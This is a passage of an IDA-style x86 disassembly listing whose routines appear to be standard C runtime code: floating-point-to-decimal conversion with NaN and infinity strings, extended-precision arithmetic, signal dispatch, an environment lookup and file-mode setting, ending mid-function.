		push	[ebp+var_4]
		push	eax
		call	sub_41CAFC
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41CFA1
		neg	eax


loc_41CFA1:				; CODE XREF: sub_41CBC3+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41CFAC
		add	eax, [ebp+arg_10]


loc_41CFAC:				; CODE XREF: sub_41CBC3+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41CFB4
		sub	eax, [ebp+arg_14]


loc_41CFB4:				; CODE XREF: sub_41CBC3+3ECj
		cmp	eax, 1450h
		jle	short loc_41CFEB
		mov	[ebp+var_2C], 1


loc_41CFC2:				; CODE XREF: sub_41CBC3+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41CFCE:				; CODE XREF: sub_41CBC3+454j
					; sub_41CBC3+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41D034
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41D049
; ---------------------------------------------------------------------------


loc_41CFEB:				; CODE XREF: sub_41CBC3+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41CFFB
		mov	[ebp+var_30], 1
		jmp	short loc_41CFC2
; ---------------------------------------------------------------------------


loc_41CFFB:				; CODE XREF: sub_41CBC3+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41D7AC
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41CFCE
; ---------------------------------------------------------------------------


loc_41D019:				; CODE XREF: sub_41CBC3+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41CFCE
; ---------------------------------------------------------------------------


loc_41D023:				; CODE XREF: sub_41CBC3+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41D049
; ---------------------------------------------------------------------------


loc_41D034:				; CODE XREF: sub_41CBC3+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41D049
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41D049:				; CODE XREF: sub_41CBC3+426j
					; sub_41CBC3+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41CBC3	endp

; ---------------------------------------------------------------------------
off_41D064	dd offset loc_41CC2D	; DATA XREF: sub_41CBC3+63r
		dd offset loc_41CC7C	; jump table for switch	statement
		dd offset loc_41CCD3
		dd offset loc_41CCFD
		dd offset loc_41CD58
		dd offset loc_41CDCF
		dd offset loc_41CE05
		dd offset loc_41CE4F
		dd offset loc_41CE2E
		dd offset loc_41CEB3
		dd offset loc_41CE9D
		dd offset loc_41CE69

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D094	proc near		; CODE XREF: sub_41BE6F+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41D0F6
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41D0FA
; ---------------------------------------------------------------------------


loc_41D0F6:				; CODE XREF: sub_41D094+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41D0FA:				; CODE XREF: sub_41D094+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41D120
		test	edi, edi
		jnz	short loc_41D120
		cmp	[ebp+arg_0], edi
		jnz	short loc_41D120


loc_41D10B:				; CODE XREF: sub_41D094+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41D31E
; ---------------------------------------------------------------------------


loc_41D120:				; CODE XREF: sub_41D094+6Cj
					; sub_41D094+70j ...
		cmp	dx, si
		jnz	short loc_41D19F
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41D139
		cmp	[ebp+arg_0], 0
		jz	short loc_41D148


loc_41D139:				; CODE XREF: sub_41D094+9Dj
		test	edi, 40000000h
		jnz	short loc_41D148
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41D18E
; ---------------------------------------------------------------------------


loc_41D148:				; CODE XREF: sub_41D094+A3j
					; sub_41D094+ABj
		test	cx, cx
		jz	short loc_41D162
		cmp	edi, 0C0000000h
		jnz	short loc_41D162
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D189
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41D171
; ---------------------------------------------------------------------------


loc_41D162:				; CODE XREF: sub_41D094+B7j
					; sub_41D094+BFj
		cmp	edi, eax
		jnz	short loc_41D189
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D189
		push	offset a1Inf	; "1#INF"


loc_41D171:				; CODE XREF: sub_41D094+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_413CC0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41D180:				; CODE XREF: sub_41D094+109j
		and	[ebp+var_4], 0
		jmp	loc_41D2F7
; ---------------------------------------------------------------------------


loc_41D189:				; CODE XREF: sub_41D094+C5j
					; sub_41D094+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41D18E:				; CODE XREF: sub_41D094+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_413CC0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41D180
; ---------------------------------------------------------------------------


loc_41D19F:				; CODE XREF: sub_41D094+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41D7AC
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41D200
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41D58C
		pop	ecx
		pop	ecx


loc_41D200:				; CODE XREF: sub_41D094+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41D21A
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41D21D
		jmp	loc_41D10B
; ---------------------------------------------------------------------------


loc_41D21A:				; CODE XREF: sub_41D094+173j
		mov	edi, [ebp+arg_C]


loc_41D21D:				; CODE XREF: sub_41D094+17Fj
		cmp	edi, 15h
		jle	short loc_41D225
		push	15h
		pop	edi


loc_41D225:				; CODE XREF: sub_41D094+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41D23B:				; CODE XREF: sub_41D094+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CAA1
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41D23B
		test	esi, esi
		jge	short loc_41D265
		neg	esi
		and	esi, 0FFh
		jle	short loc_41D265


loc_41D258:				; CODE XREF: sub_41D094+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CACF
		dec	esi
		pop	ecx
		jnz	short loc_41D258


loc_41D265:				; CODE XREF: sub_41D094+1B8j
					; sub_41D094+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41D2C2
		mov	[ebp+arg_C], ecx


loc_41D275:				; CODE XREF: sub_41D094+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41CAA1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CAA1
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CA43
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41CAA1
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41D275
		mov	eax, [ebp+arg_14]


loc_41D2C2:				; CODE XREF: sub_41D094+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41D2FF


loc_41D2CF:				; CODE XREF: sub_41D094+248j
		cmp	eax, ecx
		jb	short loc_41D2E2
		cmp	byte ptr [eax],	39h
		jnz	short loc_41D2DE
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41D2CF
; ---------------------------------------------------------------------------


loc_41D2DE:				; CODE XREF: sub_41D094+242j
		cmp	eax, ecx
		jnb	short loc_41D2E6


loc_41D2E2:				; CODE XREF: sub_41D094+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41D2E6:				; CODE XREF: sub_41D094+24Cj
		inc	byte ptr [eax]


loc_41D2E8:				; CODE XREF: sub_41D094+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41D2F7:				; CODE XREF: sub_41D094+F0j
		mov	eax, [ebp+var_4]


loc_41D2FA:				; CODE XREF: sub_41D094+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D2FF:				; CODE XREF: sub_41D094+239j
					; sub_41D094+275j
		cmp	eax, ecx
		jb	short loc_41D30F
		cmp	byte ptr [eax],	30h
		jnz	short loc_41D30B
		dec	eax
		jmp	short loc_41D2FF
; ---------------------------------------------------------------------------


loc_41D30B:				; CODE XREF: sub_41D094+272j
		cmp	eax, ecx
		jnb	short loc_41D2E8


loc_41D30F:				; CODE XREF: sub_41D094+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41D31E:				; CODE XREF: sub_41D094+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41D2FA
sub_41D094	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D327	proc near		; CODE XREF: sub_418C2C+3423p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41D38E
		dec	eax
		dec	eax
		jz	short loc_41D37F
		sub	eax, 4
		jz	short loc_41D37F
		sub	eax, 3
		jz	short loc_41D37F
		sub	eax, 4
		jz	short loc_41D372
		sub	eax, 6
		jz	short loc_41D365
		dec	eax
		jz	short loc_41D358
		or	eax, 0FFFFFFFFh
		jmp	loc_41D450
; ---------------------------------------------------------------------------


loc_41D358:				; CODE XREF: sub_41D327+27j
		mov	esi, ds:dword_45EADC
		mov	eax, offset dword_45EADC
		jmp	short loc_41D399
; ---------------------------------------------------------------------------


loc_41D365:				; CODE XREF: sub_41D327+24j
		mov	esi, ds:dword_45EAD8
		mov	eax, offset dword_45EAD8
		jmp	short loc_41D399
; ---------------------------------------------------------------------------


loc_41D372:				; CODE XREF: sub_41D327+1Fj
		mov	esi, ds:dword_45EAE0
		mov	eax, offset dword_45EAE0
		jmp	short loc_41D399
; ---------------------------------------------------------------------------


loc_41D37F:				; CODE XREF: sub_41D327+10j
					; sub_41D327+15j ...
		push	edi
		call	sub_41D454
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41D399
; ---------------------------------------------------------------------------


loc_41D38E:				; CODE XREF: sub_41D327+Cj
		mov	esi, ds:dword_45EAD4
		mov	eax, offset dword_45EAD4


loc_41D399:				; CODE XREF: sub_41D327+3Cj
					; sub_41D327+49j ...
		cmp	esi, 1
		jnz	short loc_41D3A5
		xor	eax, eax
		jmp	loc_41D450
; ---------------------------------------------------------------------------


loc_41D3A5:				; CODE XREF: sub_41D327+75j
		test	esi, esi
		jnz	short loc_41D3B0
		push	3
		call	sub_4158C8


loc_41D3B0:				; CODE XREF: sub_41D327+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41D3C2
		cmp	edi, 0Bh
		jz	short loc_41D3C2
		cmp	edi, 4
		jnz	short loc_41D3E8


loc_41D3C2:				; CODE XREF: sub_41D327+8Fj
					; sub_41D327+94j
		mov	ebx, ds:dword_45E8B4
		and	ds:dword_45E8B4, 0
		cmp	edi, ecx
		jnz	short loc_41D417
		mov	edx, ds:dword_42D74C
		mov	ds:dword_42D74C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41D3EB
; ---------------------------------------------------------------------------


loc_41D3E8:				; CODE XREF: sub_41D327+99j
		mov	ebx, [ebp+arg_0]


loc_41D3EB:				; CODE XREF: sub_41D327+BFj
		cmp	edi, ecx
		jnz	short loc_41D417
		mov	eax, ds:dword_42D740
		mov	ecx, ds:dword_42D744
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41D41E
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:42D6D0h[edx*4]


loc_41D40C:				; CODE XREF: sub_41D327+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41D40C
		jmp	short loc_41D41E
; ---------------------------------------------------------------------------


loc_41D417:				; CODE XREF: sub_41D327+AAj
					; sub_41D327+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41D42C


loc_41D41E:				; CODE XREF: sub_41D327+D7j
					; sub_41D327+EEj
		push	ds:dword_42D74C
		push	8
		call	esi ; dword_45EADC
		pop	ecx
		pop	ecx
		jmp	short loc_41D43A
; ---------------------------------------------------------------------------


loc_41D42C:				; CODE XREF: sub_41D327+F5j
		push	edi
		call	esi ; dword_45EADC
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41D43A
		cmp	edi, 4
		jnz	short loc_41D44D


loc_41D43A:				; CODE XREF: sub_41D327+103j
					; sub_41D327+10Cj
		cmp	edi, 8
		mov	ds:dword_45E8B4, ebx
		jnz	short loc_41D44D
		mov	eax, [ebp+arg_0]
		mov	ds:dword_42D74C, eax


loc_41D44D:				; CODE XREF: sub_41D327+111j
					; sub_41D327+11Cj
		xor	eax, eax
		pop	ebx


loc_41D450:				; CODE XREF: sub_41D327+2Cj
					; sub_41D327+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41D327	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D454	proc near		; CODE XREF: sub_41D327+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_42D748
		cmp	ds:dword_42D6CC, edx
		push	esi
		mov	eax, offset dword_42D6C8
		jz	short loc_41D482
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:42D6C8h[esi*4]


loc_41D476:				; CODE XREF: sub_41D454+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41D482
		cmp	[eax+4], edx
		jnz	short loc_41D476


loc_41D482:				; CODE XREF: sub_41D454+16j
					; sub_41D454+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:42D6C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41D496
		cmp	[eax+4], edx
		jz	short locret_41D498


loc_41D496:				; CODE XREF: sub_41D454+3Bj
		xor	eax, eax

locret_41D498:				; CODE XREF: sub_41D454+40j
		retn
sub_41D454	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D499	proc near		; CODE XREF: sub_41C1F2+23p

arg_0		= dword	ptr  4

		cmp	ds:dword_45FE68, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_45E82C
		push	edi
		jz	short loc_41D510
		test	esi, esi
		jnz	short loc_41D4CA
		cmp	ds:dword_45E834, esi
		jz	short loc_41D510
		call	sub_41D867
		test	eax, eax
		jnz	short loc_41D510
		mov	esi, ds:dword_45E82C
		test	esi, esi
		jz	short loc_41D510


loc_41D4CA:				; CODE XREF: sub_41D499+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41D510
		push	ebx
		call	sub_413DB0
		pop	ecx
		mov	edi, eax


loc_41D4DB:				; CODE XREF: sub_41D499+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41D510
		push	eax
		call	sub_413DB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41D503
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41D503
		push	edi
		push	ebx
		push	eax
		call	sub_41D828
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D508


loc_41D503:				; CODE XREF: sub_41D499+51j
					; sub_41D499+59j
		add	esi, 4
		jmp	short loc_41D4DB
; ---------------------------------------------------------------------------


loc_41D508:				; CODE XREF: sub_41D499+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41D512
; ---------------------------------------------------------------------------


loc_41D510:				; CODE XREF: sub_41D499+10j
					; sub_41D499+1Cj ...
		xor	eax, eax


loc_41D512:				; CODE XREF: sub_41D499+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D499	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D516	proc near		; CODE XREF: sub_41C8DC+8Bp
					; sub_41C8DC+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_45FC20
		jnb	short loc_41D57D
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_45FB20[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41D57D
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41D556
		and	cl, 7Fh
		jmp	short loc_41D563
; ---------------------------------------------------------------------------


loc_41D556:				; CODE XREF: sub_41D516+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41D571
		or	cl, 80h


loc_41D563:				; CODE XREF: sub_41D516+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D571:				; CODE XREF: sub_41D516+48j
		mov	ds:dword_45E804, 16h
		jmp	short loc_41D587
; ---------------------------------------------------------------------------


loc_41D57D:				; CODE XREF: sub_41D516+Bj
					; sub_41D516+27j
		mov	ds:dword_45E804, 9


loc_41D587:				; CODE XREF: sub_41D516+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41D516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D58C	proc near		; CODE XREF: sub_41D094+165p
					; sub_41D7AC+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41D78C
		cmp	cx, 7FFFh
		jnb	loc_41D78C
		cmp	dx, 0BFFDh
		ja	loc_41D78C
		cmp	dx, 3FBFh
		ja	short loc_41D5F5
		xor	eax, eax
		jmp	short loc_41D62F
; ---------------------------------------------------------------------------


loc_41D5F5:				; CODE XREF: sub_41D58C+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41D617
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41D617
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41D619
		cmp	[esi], eax
		jnz	short loc_41D619
		jmp	loc_41D786
; ---------------------------------------------------------------------------


loc_41D617:				; CODE XREF: sub_41D58C+71j
					; sub_41D58C+79j
		xor	eax, eax


loc_41D619:				; CODE XREF: sub_41D58C+80j
					; sub_41D58C+84j
		cmp	cx, ax
		jnz	short loc_41D63C
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41D63C
		cmp	[ebx+4], eax
		jnz	short loc_41D63C
		cmp	[ebx], eax
		jnz	short loc_41D63C


loc_41D62F:				; CODE XREF: sub_41D58C+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41D7A7
; ---------------------------------------------------------------------------


loc_41D63C:				; CODE XREF: sub_41D58C+90j
					; sub_41D58C+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41D64C:				; CODE XREF: sub_41D58C+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41D6A0
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41D668:				; CODE XREF: sub_41D58C+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41CA22
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D693
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41D693:				; CODE XREF: sub_41D58C+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41D668


loc_41D6A0:				; CODE XREF: sub_41D58C+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41D64C
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41D6E3


loc_41D6BE:				; CODE XREF: sub_41D58C+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41D6DC
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41CAA1
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41D6BE


loc_41D6DC:				; CODE XREF: sub_41D58C+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41D71C


loc_41D6E3:				; CODE XREF: sub_41D58C+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41D71C
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41D6FC:				; CODE XREF: sub_41D58C+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41D705
		inc	[ebp+var_14]


loc_41D705:				; CODE XREF: sub_41D58C+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41CACF
		dec	ebx
		pop	ecx
		jnz	short loc_41D6FC
		cmp	[ebp+var_14], 0
		jz	short loc_41D71C
		or	byte ptr [ebp+var_24], 1


loc_41D71C:				; CODE XREF: sub_41D58C+155j
					; sub_41D58C+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41D733
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41D768


loc_41D733:				; CODE XREF: sub_41D58C+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41D765
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41D760
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41D75A
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41D768
; ---------------------------------------------------------------------------


loc_41D75A:				; CODE XREF: sub_41D58C+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41D768
; ---------------------------------------------------------------------------


loc_41D760:				; CODE XREF: sub_41D58C+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41D768
; ---------------------------------------------------------------------------


loc_41D765:				; CODE XREF: sub_41D58C+1ABj
		inc	[ebp+var_24+2]


loc_41D768:				; CODE XREF: sub_41D58C+1A5j
					; sub_41D58C+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41D78C
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41D786:				; CODE XREF: sub_41D58C+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41D7A7
; ---------------------------------------------------------------------------


loc_41D78C:				; CODE XREF: sub_41D58C+42j
					; sub_41D58C+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41D7A7:				; CODE XREF: sub_41D58C+ABj
					; sub_41D58C+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D58C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7AC	proc near		; CODE XREF: sub_41CBC3+440p
					; sub_41D094+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_42DBC0
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41D825
		jge	short loc_41D7D4
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_42DD20
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41D7D4:				; CODE XREF: sub_41D7AC+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41D7DF
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41D7DF:				; CODE XREF: sub_41D7AC+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41D825
		push	esi
		push	edi


loc_41D7E6:				; CODE XREF: sub_41D7AC+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41D81E
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
